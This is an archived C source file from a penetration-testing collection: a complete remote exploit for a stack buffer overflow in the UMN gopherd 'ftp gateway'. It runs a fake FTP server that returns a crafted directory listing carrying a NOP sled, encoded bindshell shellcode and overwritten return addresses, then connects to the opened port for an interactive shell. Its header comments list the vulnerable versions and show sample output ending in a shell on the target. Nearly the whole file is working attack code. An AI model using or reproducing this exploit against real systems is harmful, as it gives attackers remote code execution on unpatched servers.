home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / proxy / gopherd / xgopherd2k3-ftp.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  17KB  |  436 lines

  1.  
  2. /*[ UMN gopherd[2.x.x/3.x.x]: remote "ftp gateway" buffer overflow. ]*
  3.  *                                                                   *
  4.  * by: vade79/v9 v9@fakehalo.deadpig.org (fakehalo/realhalo)         *
  5.  *                                                                   *
  6.  * three years since last audit, code is a little more secure.  but, *
  7.  * still found a few potentially exploitable situations.  this       *
  8.  * exploits the "ftp gateway" feature of gopherd.  the gateway is    *
  9.  * intended to act as a proxy of sorts.  between the server, and the *
  10.  * client.  the bug occurs when gopherd attempts to read a ftp       *
  11.  * list(LIST), and strcpy()'s the filename without checking the      *
  12.  * length.  an example would look like this(including where to put   *
  13.  * the shellcode at):                                                *
  14.  *                                                                   *
  15.  * "-rwxrwxrwx 1 <shellcode> root 1 Dec 31 23:59 <long string>"      *
  16.  *                                                                   *
  17.  * to exploit this, there needs to be a fake ftp daemon of sorts.    *
  18.  * and, do to the nature of gopherd's "ftp gateway" support, must be *
  19.  * on port 21.  which means this exploit needs to run as root.       *
  20.  *                                                                   *
  21.  * when exploiting this bug, it is made moderately easy by gopherd.  *
  22.  * because, the buffer that holds the string is 8192 bytes, and on   *
  23.  * the stack.  meaning the amount of NOPs used can be around ~7500.  *
  24.  *                                                                   *
  25.  * requirements(general):                                            *
  26.  *  gopherd must have "ftp gateway" support included on compile,     *
  27.  *  this is true by default.  but, the "--disable-ftp" configure     *
  28.  *  option will make exploitation of this bug impossible.            *
  29.  *                                                                   *
  30.  * requirements(for this exploit):                                   *
  31.  *  the server must be running linux/x86(what i made the exploit     *
  32.  *  for).  gopherd must be started in the root directory "/",        *
  33.  *  running with the -c command line option, or started as non-root. *
  34.  *  any of those three situations will allow for successful          *
  35.  *  exploitation.  this does not mean it is impossible to exploit    *
  36.  *  otherwise.  but, gopherd will be in a chroot()'d state.  and, as *
  37.  *  of the 2.4 kernel series, i have seen no such way to break       *
  38.  *  chroot.  if it is desired to still run code, even in a limited   *
  39.  *  environment, simply change the shellcode to your likings.  also, *
  40.  *  the exploit must be ran as root, to bind to port 21.             *
  41.  *                                                                   *
  42.  * bug location(gopher-3.0.5/gopherd/ftp.c):                         *
  43.  *  1800:int                                                         *
  44.  *  1801:GopherFile(FTP *ftp, char *buf, char *theName)              *
  45.  *  1802:{                                                           *
  46.  *  ...                                                              *
  47.  *  1805:char tmpName[256];                                          *
  48.  *  ...                                                              *
  49.  *  1811:strcpy(tmpName, buf);                                       *
  50.  *                                                                   *
  51.  * vulnerable versions:                                              *
  52.  *  v3.0.5, v3.0.4, v3.0.3, v3.0.2, v3.0.1, v3.0.0(-1),              *
  53.  *  v2.3.1. (patch level 0 through 15/all 2.3.1 versions)            *
  54.  *  (it is assumed versions before 2.3.1 are vulnerable as well)     *
  55.  *                                                                   *
  56.  * tested on platforms(with no code changes/offsets):                *
  57.  *  RedHat7.1, 2.4.2-2 #1 Sun Apr 8 20:41:30 EDT 2001 i686           *
  58.  *  Mandrake9.1, 2.4.21-0.13mdk #1 Fri Mar 14 15:08:06 EST 2003 i686 *
  59.  *  (tested on both v3.0.5, and v2.3.1 sources / no changes.  this   *
  60.  *  should apply to pretty much any generic linux, do to the amount  *
  61.  *  of NOPs(~7500 bytes guessing room), and on the stack)            *
  62.  *                                                                   *
  63.  * example usage:                                                    *
  64.  *  # cc xgopherd2k3-ftp.c -o xgopherd2k3-ftp                        *
  65.  *  # ./xgopherd2k3-ftp localhost 127.0.0.1                          *
  66.  *  [*] UMN gopherd[2.x.x/3.x.x]: remote buffer overflow exploit.    *
  67.  *  [*] "UMN gopherd remote ftp gateway buffer overflow"             *
  68.  *  [*] by: vade79/v9 v9@fakehalo.deadpig.org (fakehalo)             *
  69.  *                                                                   *
  70.  *  [*] target: localhost:70 - localhost: 127.0.0.1 - offset: 0xbff$ *
  71.  *                                                                   *
  72.  *  [*] starting ftp daemon. (background)                            *
  73.  *  [*] attempting to connect: localhost:70.                         *
  74.  *  [*] connected successfully: localhost:70.                        *
  75.  *  [?] +GOPHERD: "ftp://x:x@127.0.0.1".                             *
  76.  *  [*] ftp daemon connection established.                           *
  77.  *  [?] -FTPD: "SYST".                                               *
  78.  *  [?] -FTPD: "USER x".                                             *
  79.  *  [?] -FTPD: "PASS x".                                             *
  80.  *  [?] -FTPD: "PORT 127,0,0,1,128,35".                              *
  81.  *  [?] -FTPD: "LIST -F".                                            *
  82.  *  [?] +FTPD: "-rwxrwxrwx 1 <shellcode(7800)> root 1 Dec 31 23:59 $ *
  83.  *  [*] waiting for ftp daemon to finish. (ctrl-c if needed)         *
  84.  *  [*] ftp daemon connection closed.                                *
  85.  *  [*] checking to see if the exploit was successful.               *
  86.  *  [*] attempting to connect: localhost:45295.                      *
  87.  *  [*] successfully connected: localhost:45295.                     *
  88.  *                                                                   *
  89.  *  Linux localhost.localdomain 2.4.2-2 #1 Sun Apr 8 20:41:30 EDT 2$ *
  90.  *  uid=13(gopher) gid=30(gopher) groups=0(root),1(bin),2(daemon),3$ *
  91.  *                                                                   *
  92.  * note: when using your "local ip", do not make it 127.0.0.1, like  *
  93.  * in the example.  it must be the ip you connect to the internet    *
  94.  * through. (not an local area network ip, or whatnot)               *
  95.  *********************************************************************/
  96. #include <stdio.h>
  97. #include <stdlib.h>
  98. #include <string.h>
  99. #include <strings.h>
  100. #include <signal.h>
  101. #include <unistd.h>
  102. #include <netdb.h>
  103. #include <sys/socket.h>
  104. #include <sys/types.h>
  105. #include <sys/time.h>
  106. #include <sys/wait.h>
  107. #include <netinet/in.h>
  108. #include <arpa/inet.h>
  109.  
  110. /* change defines at will. (cept EIPSIZE, not recommended)     */
  111. #define CODESIZE 7800 /* part of buf[8192]/stack. (~-350)      */
  112. #define EIPSIZE 292 /* riding a fine line, don't make too big. */
  113. #define RETADDR 0xbfffe29b /* center of NOPs for me. (~+-3500) */
  114. #define TIMEOUT 10 /* connection timeout. (general)            */
  115.  
  116. /* globals. */
  117. static char x86_exec[]= /* bindshell(45295)&, netric/S-poly. */
  118.  "\x57\x5f\xeb\x11\x5e\x31\xc9\xb1\xc8\x80\x44\x0e\xff\x2b\x49"
  119.  "\x41\x49\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x06\x95\x06\xb0"
  120.  "\x06\x9e\x26\x86\xdb\x26\x86\xd6\x26\x86\xd7\x26\x5e\xb6\x88"
  121.  "\xd6\x85\x3b\xa2\x55\x5e\x96\x06\x95\x06\xb0\x25\x25\x25\x3b"
  122.  "\x3d\x85\xc4\x88\xd7\x3b\x28\x5e\xb7\x88\xe5\x28\x88\xd7\x27"
  123.  "\x26\x5e\x9f\x5e\xb6\x85\x3b\xa2\x55\x06\xb0\x0e\x98\x49\xda"
  124.  "\x06\x95\x15\xa2\x55\x06\x95\x25\x27\x5e\xb6\x88\xd9\x85\x3b"
  125.  "\xa2\x55\x5e\xac\x06\x95\x06\xb0\x06\x9e\x88\xe6\x86\xd6\x85"
  126.  "\x05\xa2\x55\x06\x95\x06\xb0\x25\x25\x2c\x5e\xb6\x88\xda\x85"
  127.  "\x3b\xa2\x55\x5e\x9b\x06\x95\x06\xb0\x85\xd7\xa2\x55\x0e\x98"
  128.  "\x4a\x15\x06\x95\x5e\xd0\x85\xdb\xa2\x55\x06\x95\x06\x9e\x5e"
  129.  "\xc8\x85\x14\xa2\x55\x06\x95\x16\x85\x14\xa2\x55\x06\x95\x16"
  130.  "\x85\x14\xa2\x55\x06\x95\x25\x3d\x04\x04\x48\x3d\x3d\x04\x37"
  131.  "\x3e\x43\x5e\xb8\x60\x29\xf9\xdd\x25\x28\x5e\xb6\x85\xe0\xa2"
  132.  "\x55\x06\x95\x15\xa2\x55\x06\x95\x5e\xc8\x85\xdb\xa2\x55\xc0"
  133.  "\x6e";
  134. char ftp_ip[64+1];
  135. unsigned short ftp_port=0;
  136. pid_t ftp_pid=0;
  137. /* return address offset. (arg3) */
  138. unsigned int offset_ra=0;
  139.  
  140. /* functions. */
  141. char *geteip(void);
  142. char *getcode(void);
  143. unsigned short ftpd_read(int);
  144. void ftpd_handler(int,char *);
  145. void ftpd_list(char *,unsigned short);
  146. void ftpd(void);
  147. void gopher_connect(char *,unsigned short,char *);
  148. void getshell(char *,unsigned short);
  149. void printe(char *,short);
  150.  
  151. /* signal handlers. */
  152. void sig_ctrlc_wait(){if(ftp_pid)kill(ftp_pid,9);}
  153. void sig_ctrlc_exit(){printe("ctrl-c abort.",1);}
  154. void sig_alarm(){printe("alarm/timeout hit.",1);}
  155.  
  156. /* begin. */
  157. int main(int argc,char **argv){
  158.  unsigned short gopher_port=70; /* default. */
  159.  unsigned int i=0;
  160.  char *gopher_host;
  161.  printf("[*] UMN gopherd[2.x.x/3.x.x]: remote buffer o"
  162.  "verflow exploit.\n[*] \"UMN gopherd remote ftp gatew"
  163.  "ay buffer overflow\"\n[*] by: vade79/v9 v9@fakehalo."
  164.  "deadpig.org (fakehalo)\n\n");
  165.  if(argc<3){
  166.   printf("[!] syntax: %s <hostname[:port]> <local/your"
  167.   "_ip> [offset]\n\n",argv[0]);
  168.   exit(1);
  169.  }
  170.  if(!(gopher_host=(char *)strdup(argv[1])))
  171.   printe("main(): allocating memory failed",1);
  172.  for(i=0;i<strlen(gopher_host);i++)
  173.   if(gopher_host[i]==':')
  174.    gopher_host[i]=0x0;
  175.  if(index(argv[1],':'))
  176.   gopher_port=atoi((char *)index(argv[1],':')+1);
  177.  if(!gopher_port)
  178.   gopher_port=70;
  179.  if(argc>3)
  180.   offset_ra=atoi(argv[3]);
  181.  printf("[*] target: %s:%d - localhost: %s - offset: 0x%.8x(+" 
  182.  "%u)\n\n",gopher_host,gopher_port,argv[2],RETADDR,offset_ra); 
  183.  signal(SIGINT,sig_ctrlc_wait);
  184.  signal(SIGALRM,sig_alarm);
  185.  /* start ftpd, as a different process. */
  186.  switch(ftp_pid=fork()){
  187.   case -1:
  188.    printe("fork() ftpd failure.",1);
  189.    break;
  190.   case 0:
  191.    signal(SIGINT,SIG_DFL);
  192.    ftpd();
  193.    _exit(0);
  194.    break;
  195.   default:
  196.    printf("[*] starting ftp daemon. (background)\n");
  197.    break;
  198.  }
  199.  gopher_connect(gopher_host,gopher_port,argv[2]);
  200.  /* gotta let the ftpd magic happen, plenty of time. */
  201.  printf("[*] waiting for ftp daemon to finish. (ctrl-c if"
  202.  " needed)\n");
  203.  waitpid(ftp_pid,0,0);
  204.  signal(SIGINT,sig_ctrlc_exit);
  205.  getshell(gopher_host,45295); /* defined in shellcode. */
  206.  printf("[!] exploit failed.\n");
  207.  exit(0);
  208. }
  209. char *geteip(void){
  210.  unsigned int i=0;
  211.  char *buf;
  212.  if(!(buf=(char *)malloc(EIPSIZE+1)))
  213.   printe("ftpd_read(): allocating memory failed.",1);
  214.  memset(buf,0x0,EIPSIZE+1);
  215.  for(i=0;i<EIPSIZE;i+=4){*(long *)&buf[i]=(RETADDR+offset_ra);}
  216.  return(buf);
  217. }
  218. char *getcode(void){
  219.  char *buf;
  220.  if(!(buf=(char *)malloc(CODESIZE+1)))
  221.   printe("getcode(): allocating memory failed",1);
  222.  memset(buf,0x90,(CODESIZE-strlen(x86_exec)));
  223.  memcpy(buf+(CODESIZE-strlen(x86_exec)),x86_exec,
  224.  strlen(x86_exec));
  225.  return(buf);
  226. }
  227. unsigned short ftpd_read(int sock){
  228.  char *buf;
  229.  if(!(buf=(char *)malloc(4096+1)))
  230.   return(1);
  231.  memset(buf,0x0,4096+1);
  232.  if(read(sock,buf,4096)<1)
  233.   return(1);
  234.  ftpd_handler(sock,buf);
  235.  return(0);
  236. }
  237. void ftpd_handler(int sock,char *buf){
  238.  unsigned int addr1,addr2,addr3,addr4,port1,port2,i;
  239.  /* clean up for display, changes nothing critical. */
  240.  for(i=0;i<strlen(buf);i++)
  241.   if(buf[i]=='\r'||buf[i]=='\n')
  242.    buf[i]=0x0;
  243.  if(strlen(buf)){
  244.   printf("[?] -FTPD: \"%s\".\n",buf);
  245.   if(!strncmp("SYST",buf,4))
  246.    dprintf(sock,"215 UNIX Type: L8\n");
  247.   else if(!strncmp("USER ",buf,5))
  248.    dprintf(sock,"331 login ok.\n");
  249.   else if(!strncmp("PASS ",buf,5))
  250.    dprintf(sock,"230 access granted.\n");
  251.   else if(!strncmp("PORT ",buf,5)){
  252.    sscanf(buf,"PORT %u,%u,%u,%u,%u,%u",&addr1,&addr2,&addr3,
  253.    &addr4,&port1,&port2);
  254.    memset(ftp_ip,0x0,64+1);
  255.    snprintf(ftp_ip,64,"%u.%u.%u.%u",addr1,addr2,addr3,addr4); 
  256.    ftp_port=((port1*256)+port2);                                                 
  257.    dprintf(sock,"200 PORT command successful.\n");
  258.   }
  259.   else if(!strncmp("LIST",buf,4)){
  260.    dprintf(sock,"150 Opening connection.\n");
  261.    /* send the fake file list, the exploit itself. */
  262.    if(strlen(ftp_ip)&&ftp_port)
  263.     ftpd_list(ftp_ip,ftp_port);
  264.    dprintf(sock,"226 Transfer complete.\n");
  265.    sleep(1);
  266.    /* nothing else of importance. */
  267.    close(sock);
  268.   }
  269.  }
  270.  return;
  271. }
  272. void ftpd_list(char *ip,unsigned short port){
  273.  int sock;
  274.  struct hostent *t;
  275.  struct sockaddr_in s;
  276.  sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
  277.  s.sin_family=AF_INET;
  278.  s.sin_port=htons(port);
  279.  if((s.sin_addr.s_addr=inet_addr(ip))){
  280.   if(!(t=gethostbyname(ip)))
  281.    printe("couldn't resolve ftp_list hostname/ip.",1);
  282.   memcpy((char*)&s.sin_addr,(char*)t->h_addr,
  283.   sizeof(s.sin_addr));
  284.  }
  285.  signal(SIGALRM,sig_alarm);
  286.  alarm(TIMEOUT);
  287.  if(connect(sock,(struct sockaddr *)&s,sizeof(s)))
  288.   printe("ftpd_list connection failed.",1);
  289.  alarm(0);
  290.  /* the exploit itself, what changes the EIP.     */
  291.  /* i just put the shellcode where the user/owner */
  292.  /* of the file would normally go, goes into the  */
  293.  /* fat buf[8192] buffer, yummy.                  */
  294.  printf("[?] +FTPD: \"-rwxrwxrwx 1 <shellcode(%u)> root "
  295.  "1 Dec 31 23:59 <eip(%u)>\".\n",CODESIZE,EIPSIZE);
  296.  dprintf(sock,"-rwxrwxrwx 1 %s root 1 Dec 31 23:59 %s\n",
  297.  getcode(),geteip());
  298.  sleep(1); /* not needed, safe call. */
  299.  close(sock);
  300.  return;
  301. }
  302. void ftpd(void){
  303.  int ssock,sock,salen,so=1,i=0;
  304.  struct sockaddr_in ssa,sa;
  305.  ssock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
  306.  /* just incase used multiple times, good habit anyways. */
  307.  setsockopt(ssock,SOL_SOCKET,SO_REUSEADDR,(void *)&so,sizeof(so));
  308.  /* not everywheres. */
  309. #ifdef SO_REUSEPORT
  310.  setsockopt(ssock,SOL_SOCKET,SO_REUSEPORT,(void *)&so,sizeof(so));
  311. #endif
  312.  ssa.sin_family=AF_INET;
  313.  /* must be default, gopherd limitations. :( */
  314.  ssa.sin_port=htons(21);
  315.  ssa.sin_addr.s_addr=INADDR_ANY;   
  316.  if(bind(ssock,(struct sockaddr *)&ssa,sizeof(ssa))==-1)
  317.   printe("could not bind socket, ftpd already running?",1);
  318.  listen(ssock,1);
  319.  bzero((char*)&sa,sizeof(struct sockaddr_in));
  320.  /* some things i just don't see the reason for. :/ */                           
  321.  salen=sizeof(sa);
  322.  sock=accept(ssock,(struct sockaddr *)&sa,&salen);
  323.  close(ssock); /* close server socket. */
  324.  printf("[*] ftp daemon connection established.\n");
  325.  /* welcome! */
  326.  dprintf(sock,"220 FakeFTPD.\n");
  327.  while(!i)
  328.   i=ftpd_read(sock);
  329.  close(sock);
  330.  printf("[*] ftp daemon connection closed.\n");
  331.  return;
  332. }
  333. void gopher_connect(char *hostname,unsigned short port,
  334. char *myip){
  335.  int sock;
  336.  struct hostent *t;
  337.  struct sockaddr_in s;
  338.  printf("[*] attempting to connect: %s:%d.\n",hostname,port);
  339.  sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
  340.  s.sin_family=AF_INET;
  341.  s.sin_port=htons(port);
  342.  if((s.sin_addr.s_addr=inet_addr(hostname))){
  343.   if(!(t=gethostbyname(hostname)))
  344.    printe("couldn't resolve gopher hostname.",1);
  345.   memcpy((char*)&s.sin_addr,(char*)t->h_addr,
  346.   sizeof(s.sin_addr));
  347.  }
  348.  signal(SIGALRM,sig_alarm);
  349.  alarm(TIMEOUT);
  350.  if(connect(sock,(struct sockaddr *)&s,sizeof(s)))
  351.   printe("gopher connection failed.",1);
  352.  alarm(0);
  353.  printf("[*] connected successfully: %s:%d.\n",hostname,port);
  354.  printf("[?] +GOPHERD: \"ftp://x:x@%s\".\n",myip);
  355.  sleep(1); /* had problems, without a delay here. */
  356.  dprintf(sock,"ftp://x:x@%s\n",myip);
  357.  sleep(1); /* doesn't really matter, but to be safe. :/ */
  358.  /* leave gopher socket open, for the duration. */
  359.  return;
  360. }
  361. /* same getshell() routine as usual. */
  362. void getshell(char *hostname,unsigned short port){
  363.  int sock,r;
  364.  fd_set fds;
  365.  char buf[4096+1];
  366.  struct hostent *he;
  367.  struct sockaddr_in sa;
  368.  printf("[*] checking to see if the exploit was successful.\n");
  369.  if((sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==-1){
  370.   printe("getshell(): socket() failed",0);
  371.   return;
  372.  }
  373.  sa.sin_family=AF_INET;
  374.  if((sa.sin_addr.s_addr=inet_addr(hostname))){
  375.   if(!(he=gethostbyname(hostname))){
  376.    printe("getshell(): couldn't resolve",0);
  377.    return;
  378.   }
  379.   memcpy((char *)&sa.sin_addr,(char *)he->h_addr,
  380.   sizeof(sa.sin_addr));
  381.  }
  382.  sa.sin_port=htons(port);
  383.  signal(SIGALRM,sig_alarm);
  384.  alarm(TIMEOUT);
  385.  printf("[*] attempting to connect: %s:%d.\n",
  386.  hostname,port);
  387.  if(connect(sock,(struct sockaddr *)&sa,sizeof(sa))){
  388.   printf("[!] connection failed: %s:%d.\n",
  389.   hostname,port);
  390.   return;
  391.  }
  392.  alarm(0);
  393.  printf("[*] successfully connected: %s:%d.\n\n",
  394.  hostname,port);
  395.  signal(SIGINT,SIG_IGN);
  396.  write(sock,"uname -a;id\n",13);
  397.  while(1){
  398.   FD_ZERO(&fds);
  399.   FD_SET(0,&fds);
  400.   FD_SET(sock,&fds);
  401.   if(select(sock+1,&fds,0,0,0)<1){
  402.    printe("getshell(): select() failed",0);
  403.    return;
  404.   }
  405.   if(FD_ISSET(0,&fds)){ 
  406.    if((r=read(0,buf,4096))<1){
  407.     printe("getshell(): read() failed",0);
  408.     return;
  409.    }
  410.    if(write(sock,buf,r)!=r){
  411.     printe("getshell(): write() failed",0);
  412.     return;
  413.    }
  414.   }
  415.   if(FD_ISSET(sock,&fds)){
  416.    if((r=read(sock,buf,4096))<1)
  417.     exit(0);
  418.    write(1,buf,r);
  419.   }
  420.  }
  421.  close(sock);
  422.  return;
  423. }
  424. void printe(char *err,short e){
  425.  printf("[!] %s\n",err);
  426.  if(e){
  427.   /* don't want to exit with ftpd still running. */
  428.   if(ftp_pid)
  429.    kill(ftp_pid,9);
  430.   printf("[!] exploit failed.\n");
  431.   exit(1);
  432.  }
  433.  return;
  434. }
  435.  
  436.